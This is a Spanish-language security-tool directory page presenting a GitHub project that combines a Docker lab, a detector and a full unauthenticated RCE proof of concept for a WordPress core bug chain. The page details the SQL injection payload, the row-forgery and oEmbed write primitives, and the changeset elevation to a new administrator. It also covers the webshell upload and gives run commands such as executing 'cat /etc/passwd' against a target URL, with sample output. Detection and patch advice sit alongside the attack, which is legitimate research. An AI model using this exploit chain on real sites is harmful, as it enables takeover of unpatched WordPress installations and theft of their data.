Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
wp2shell-lab — Detector no destructivo + laboratorio Docker para wp2shell (CVE-2026-63030 confusión de rutas REST /batch/v1 + CVE-2026-60137 SQLi en author__not_in) en el núcleo de WordPress 6.9.0-6.9.4 / 7.0.0-7.0.1 | Kitploit
Herramientas/GitHubGitHub/dinosn/wp2shell-lab
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubdinosn/wp2shell-lab

wp2shell-lab

Detector no destructivo + laboratorio Docker para wp2shell (CVE-2026-63030 confusión de rutas REST /batch/v1 + CVE-2026-60137 SQLi en author__not_in) en el núcleo de WordPress 6.9.0-6.9.4 / 7.0.0-7.0.1

Ver Repositorio
5417hace 29 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

wp2shell laboratorio y detector + PoC de RCE sin autenticación

Un laboratorio autónomo, detector no destructivo y prueba de concepto completa de RCE sin autenticación para wp2shell — la cadena de vulnerabilidades de pre-autenticación en el núcleo de WordPress:

CVEComponenteClaseCVSS
CVE-2026-60137WP_Query::author__not_inSQL injection (CWE-89)9.1
CVE-2026-63030REST /batch/v1 route confusioninterpretation conflict (CWE-436) → chains to RCE7.5

Afecta: Núcleo de WordPress 6.9.0–6.9.4 y 7.0.0–7.0.1 (el sumidero SQLi solo también afecta a 6.8.0–6.8.5). Corregido en 6.8.6 / 6.9.5 / 7.0.2. Reportado por Adam Kues (Assetnote / Searchlight Cyber); SQLi también acreditado a TF1T, dtro, haongo. Cadena RCE por defecto de stock (oEmbed → changeset → reentrada) por Mustafa Can İPEKÇİ (nukedx).

Actualice primero. WordPress lanzó actualizaciones forzadas automáticas para esto. Este repositorio existe para ayudarle a verificar que su propio sitio está parcheado y a comprender el error, no para atacar a nadie. Consulte SECURITY.md.


Qué es realmente

La primitiva siempre verdadera es una inyección SQL sin autenticación, sin plugins, en el núcleo de stock que proporciona lectura completa de la base de datos (hashes de contraseñas de administrador, todo en wp_options/wp_users). Eso solo merece el 9.1 y un parche inmediato.

La RCE es real y funciona en WordPress por defecto de stock — sin privilegio FILE, sin caché de objetos persistente, sin plugins, sin configuraciones incorrectas requeridas. La cadena utiliza la SQLi de solo lectura como una primitiva de falsificación de filas (UNION ALL SELECT inyecta filas falsas de wp_posts), luego aprovecha el propio pipeline de renderizado de contenido de WordPress para convertir esas filas falsificadas en escrituras reales en la base de datos a través del almacenamiento en caché de oEmbed. A partir de ahí, la elevación de changeset y la parse_request reentrante se ejecutan en contexto de administrador, creando una nueva cuenta de administrador — todo desde una única solicitud HTTP sin autenticación.

La cadena completa (sin credenciales, punto de entrada único POST /?rest_route=/batch/v1)

root@kitploit:~
1. Route confusion    — double-nested batch desyncs $matches/$validation so a GET
                        /wp/v2/widgets runs under posts::get_items() (public), reaching
                        WP_Query's author__not_in with attacker-controlled input.

2. Row forgery        — author__not_in is string-concatenated into SQL;
                        "1) AND 1=0 UNION ALL SELECT <23 cols> -- -" injects fake
                        WP_Post rows. per_page=-1 bypasses split_the_query (WP_Query
                        treats -1 as "no limit" → empty $limits → split=false →
                        full SELECT wp_posts.* → UNION columns match).

3. oEmbed write       — forged posts carry [embed]<self-url>[/embed]; rendering via
                        context=view makes WordPress cache real oembed_cache posts in
                        the DB (turns read-only SQLi into writes with predictable IDs).

4. Elevation+re-entry — a forged customize_changeset (user_id = real admin) plus a
                        forged post_type=request row with parent loops drives an
                        in-process re-entrant parse_request in admin context.

5. Admin creation     — POST /wp/v2/users in the same batch passes
                        current_user_can('create_users') → new administrator.

6. RCE                — login → plugin webshell upload → command execution → cleanup.

Gadgets de carga (por qué se sostiene la cadena)

La novedad es la composición, no un solo error — los gadgets individuales son comportamientos legítimos de WordPress. Nombrarlos (según el informe de Adam Kues) hace que el gráfico de filas falsificadas en exploit() sea legible y señala qué re-auditar después de que los puntos de entrada fueron parcheados:

  • Reconciliación caché/BD — cuando una publicación en caché en memoria no coincide con su fila en la BD, WordPress reconcilia mediante wp_update_post() y prefiere el post_type/post_status en memoria, permitiendo que una fila oembed_cache sea re-tipificada como un post/customize_changeset real.
  • Detección de ciclos que preserva post_content — el filtro wp_insert_post_parent recorre la cadena de padres; al detectar un ciclo llama a un segundo wp_update_post() que corrige el padre sin sobrescribir post_content. Ese es el eslabón crítico: permite que el post_content malicioso del changeset falsificado sobreviva. (Por eso las filas falsificadas usan bucles de padre propio/mutuo.)
  • Reproducción de hooks mediante parse_request — publicar una publicación dispara ; una fila falsificada con / desencadena , re-ejecutando el pipeline del lote mientras la identidad de administrador asumida por el changeset () aún se mantiene.

Estos gadgets permanecen presentes en WordPress parcheado — solo se cerraron los dos puntos de entrada (desincronización de lote + omisión escalar de author__not_in). Cualquier nueva primitiva que falsifique la caché de publicaciones en memoria o escriba una fila oembed_cache re-habilitaría la misma cola de toma de control de administrador.

Primitivas de escritura en tiempo de renderizado

Las cuatro primitivas de escritura en tiempo de renderizado confirmadas en vivo contra 7.0.1 — cada una falsificada como una publicación no autenticada, renderizada mediante la confusión de lote, y la escritura resultante en la BD verificada por SQLi ciega:

Qué prueba cada resultado:

  • oembed — la primitiva de referencia: una nueva fila wp_posts con un slug predecible por el atacante (md5(url+serialize(attrs))) y un ID auto-increment real. Esta es la única que te da filas de publicación múltiples, bajo demanda y nombradas por el atacante — por eso la cadena RCE la usa para respaldar el gráfico de changeset/solicitud falsificado.
  • rss — la escritura general más fuerte: la clave _site_transient_feed_<md5(url)> es completamente predecible, y los bytes almacenados son el cuerpo del feed que sirve la URL del atacante — es decir, el atacante controla tanto la clave como el valor. Es una escritura en wp_options (sin ID de publicación), por lo que es una primitiva de envenenamiento de opciones en lugar de un reemplazo directo para el respaldo del changeset.
  • navigation — la única otra ruta no autenticada donde "el renderizado crea una fila de publicación real". Es de un solo uso (se salta si existe alguna wp_navigation publicada) con un slug fijo, por lo que puede respaldar como máximo un objeto falsificado, a diferencia de las N filas de oEmbed.
  • calendar — confirma que la ruta render→update_option se dispara sin autenticación, pero el nombre de la opción y su valor '1'/'0' son fijos/derivados de la BD, por lo que es una demostración de "escritura ocurre" sin control del atacante sobre la clave o el valor.

Cadenas condicionales anteriores (reemplazadas por la cadena por defecto de stock anterior)

  • Webshell INTO OUTFILE: requiere que el usuario de la BD de WordPress tenga el privilegio global FILE + un secure_file_priv servido por la web + que el directorio sea legible por el usuario web. En hosts normales/gestionados nada de eso se cumple.
  • SimplePie → WP_HTML_Token POP: call_user_func('wp_insert_user', user_data_array) — requiere gc_enabled()=false + HMAC válido (wp_hash de los bytes serializados exactos, necesita secretos de wp-config.php).

Inicio rápido

Requisitos: Docker + Docker Compose v2, Python 3.8+ (solo stdlib), make, curl.

root@kitploit:~
make up          # WordPress 6.9.4 (vulnerable) + MySQL 8.0, auto-installed on :8093
make check       # -> [VULNERABLE] http://localhost:8093 (WordPress 6.9.4 ...)
make proof       # -> also reads @@version and current_user() as read-only evidence
make exploit     # -> full pre-auth RCE: creates admin, deploys webshell, runs "id"
make patched     # rebuild on the fixed image and re-check -> [not vulnerable]
make down        # tear down (removes volumes)

Cambie el puerto con WP_PORT=8100 make up.

Nota sobre la imagen parcheada: las imágenes oficiales de Docker wordpress se retrasan uno o dos días respecto a los lanzamientos de seguridad del núcleo de WordPress. Si make patched informa que wordpress:7.0.2 aún no está en Docker Hub, vuelva a intentarlo más tarde o diríjalo a la etiqueta fija que se haya publicado: make patched WP_PATCHED_TAG=6.9.5 (o 7.0.2 / 6.8.6). Cualquier WordPress ≥ 6.9.5 / 7.0.2 / 6.8.6 devuelve not vulnerable.

Salida esperada

root@kitploit:~
$ make check
[VULNERABLE] http://localhost:8093  (WordPress 6.9.4, affected-full-chain)  [active=fired | method=boolean rows(true/false)=5/0 via x-wp-total | delivery=json | slot=users]
        confirmed: unauthenticated SQL injection
        rce: reachable on stock config; additionally requires no persistent object cache (not verified remotely -- the RCE PoC preflights it before writing)

$ make exploit
[*] seeding oEmbed caches ...
[*] extracting table prefix ...
[+] table prefix: wp_
[*] extracting admin user ID ...
[+] admin ID: 1
[*] recovering oEmbed cache post IDs ...
[+] cache IDs: [5, 6, 7]
[*] forging changeset + re-entry, creating administrator ...
[+] administrator created: w2s_...:W2s!...  ([email protected])
[*] logging in, deploying webshell, executing command ...
[+] vulnerable (unauth SQLi confirmed: method=boolean slot=users delivery=json)
[+] RCE output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ make patched
[not vulnerable] http://localhost:8093  (WordPress 7.0.2, outside-affected-range)  [active=negative | method=time fast=0.01s slow=0.01s delta=-0.00s | delivery=json | slot=users]

La herramienta (wp2shell_check.py)

Solo biblioteca estándar, sin dependencias.

Detección (predeterminado)

No destructiva, con respaldo automático en tres ejes independientes para que una sola ruta bloqueada nunca se lea como un falso negativo:

  • oráculo — primero un diferencial booleano rápido de recuento de filas (invierta el WHERE inyectado verdadero/falso y observe cómo colapsa el X-WP-Total de la consulta de publicaciones confundidas, sin SLEEP); si no se activa, un diferencial basado en tiempo con SLEEP. El SLEEP se envuelve en una tabla derivada — (SELECT 1 FROM (SELECT SLEEP(n))x) — por lo que se evalúa una vez independientemente del número de filas (un SLEEP() simple se optimiza en algunos hosts gestionados y se leería como un falso negativo).
  • entrega — primero un POST JSON a la ruta del lote; si un borde bloquea /wp-json, un formulario multipart rest_route=/batch/v1 en POST / (la forma exacta de solicitud del operador).
  • slot — la solicitud desplazada se valida primero contra /wp/v2/users; si ese endpoint está deshabilitado para llamadas no autenticadas (plugins Disable-REST-API, endurecimiento de enumeración de usuarios), cae al endpoint de elemento universal .

Nada de esto lee datos ni cambia el estado. --proof lee solo @@version y current_user() mediante una lectura ciega acotada. No extrae datos sensibles ni intenta ejecución de código.

root@kitploit:~
python3 wp2shell_check.py https://your-site.example --authorized
python3 wp2shell_check.py -f assets.txt --authorized -t 20 --json > results.json
python3 wp2shell_check.py http://127.0.0.1:8093 --proxy http://127.0.0.1:8080

RCE sin autenticación (-c COMANDO)

Cadena de explotación completa: detectar → vuelo previo de falsificación de filas → sembrado de caché oEmbed → extracción UNION en banda → elevación de changeset → parse_request reentrante → creación de administrador → inicio de sesión → webshell de plugin → ejecutar → auto-limpieza. Funciona en WordPress por defecto de stock — sin privilegio FILE, sin caché de objetos persistente, sin plugins requeridos.

root@kitploit:~
python3 wp2shell_check.py http://127.0.0.1:8093 -c "id"
python3 wp2shell_check.py https://target.example -c "cat /etc/passwd" --authorized
  • Vuelo previo antes de cualquier escritura. Un único eco UNION en banda confirma que la omisión per_page=-1 de split_the_query funciona en este objetivo antes de que la cadena escriba algo. Una caché de objetos persistente (Redis/Memcached — común en hosts gestionados) fuerza split_the_query y bloquea la falsificación de filas: la herramienta lo informa precisamente (la SQLi aún está presente; solo la RCE está bloqueada) y no deja ninguna fila oembed_cache huérfana detrás.
  • Extracción en banda. El prefijo de tabla, el ID de administrador y los IDs de caché sembrados se leen directamente de la respuesta de publicaciones confundidas (una solicitud cada uno) en lugar de una escalera ciega SLEEP byte por byte — ~50–100 veces menos solicitudes, mucha menos exposición a WAF/límites de tasa. El oráculo ciego sigue siendo el respaldo automático si alguna vez se filtra una lectura en banda.
  • El plugin webshell se autodestruye después de un uso (desactiva y elimina su propio archivo).

Opciones

-c CMD (RCE sin autenticación), --proof (evidencia de solo lectura), -f FILE (escaneo por lotes), -t/--threads N (trabajadores concurrentes, predeterminado 10), --method auto|boolean|time, --delivery auto|json|multipart (alias --multipart), --slot auto|users|posts-item, --sleep N (retardo inyectado, predeterminado 4), --rounds N (mediana sobre N sondas), --route auto|rest-route|wp-json, --timeout N, --proxy URL, --json, .

Valores de estado

  • vulnerable — confirmado activamente mediante la inyección (confusión de lote, 6.9.0–7.0.1). Lo que el oráculo activo prueba es la inyección SQL sin autenticación; la RCE sin autenticación es alcanzable desde ella en una instalación de stock pero adicionalmente requiere sin caché de objetos persistente (una condición previa no verificable de forma remota — el PoC de RCE la verifica antes de escribir). La salida hace explícita esa división (líneas confirmed: / rce:).
  • affected_version — la versión detectada está en un rango afectado pero la verificación activa no se disparó (6.8.0–6.8.5 tiene el sumidero SQLi pero no la confusión; o un WAF bloqueó la sonda).
  • not_vulnerable — verificación activa negativa y versión fuera de los rangos afectados.

Códigos de salida: 0 = requiere atención, 1 = no vulnerable, 2 = error.

Robustez: sigue redirecciones mientras preserva el cuerpo POST, canoniza el host una vez al inicio, e ignora errores TLS (curl -k).


Remedio

  • Parche a WordPress 6.9.5 / 7.0.2 (o 6.8.6 en la rama 6.8).
  • Si no puede parchear de inmediato, bloquee tanto /wp-json/batch/v1 como ?rest_route=/batch/v1 en el borde — una regla solo en la ruta bonita deja abierta la ruta de la cadena de consulta — o requiera autenticación en la ruta del lote mediante un filtro rest_pre_dispatch.

Créditos

  • Confusión de ruta + SQLi: Adam Kues (Assetnote / Searchlight Cyber)
  • Cadena RCE por defecto de stock (oEmbed → changeset → reentrada): Mustafa Can İPEKÇİ (nukedx)
  • SQLi (CVE-2026-60137): también acreditado a TF1T, dtro, haongo

Referencias

  • Searchlight Cyber / Assetnote — https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • Gist de RCE de mcipekci — https://gist.github.com/mcipekci/2b5027f965153d8058bbcfd63006ef79
  • Lanzamiento de WordPress 7.0.2 — https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
  • Avisos: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf

Licencia

MIT — consulte LICENSE.

Descargar herramienta
do_action("{$status}_{$type}")
post_status=parse
post_type=request
parse_request
wp_set_current_user
PrimitivaMarcado de activaciónSumideroIdentificador predichoVerificado
oembed[embed]<url>[/embed]wp_posts row (oembed_cache)post_name = md5(url+attrs)ID de publicación creado
rsswp:rss {feedURL}wp_options site-transient_site_transient_feed_<md5(url)>option_id, 5192 B almacenado en caché
navigationwp:navigationwp_posts row (wp_navigation)post_name = 'navigation' (fixed)ID creado, slug navigation
calendarwp:calendarwp_optionswp_calendar_block_has_published_postsoption_id, valor '1'
/wp/v2/posts/<id>
--authorized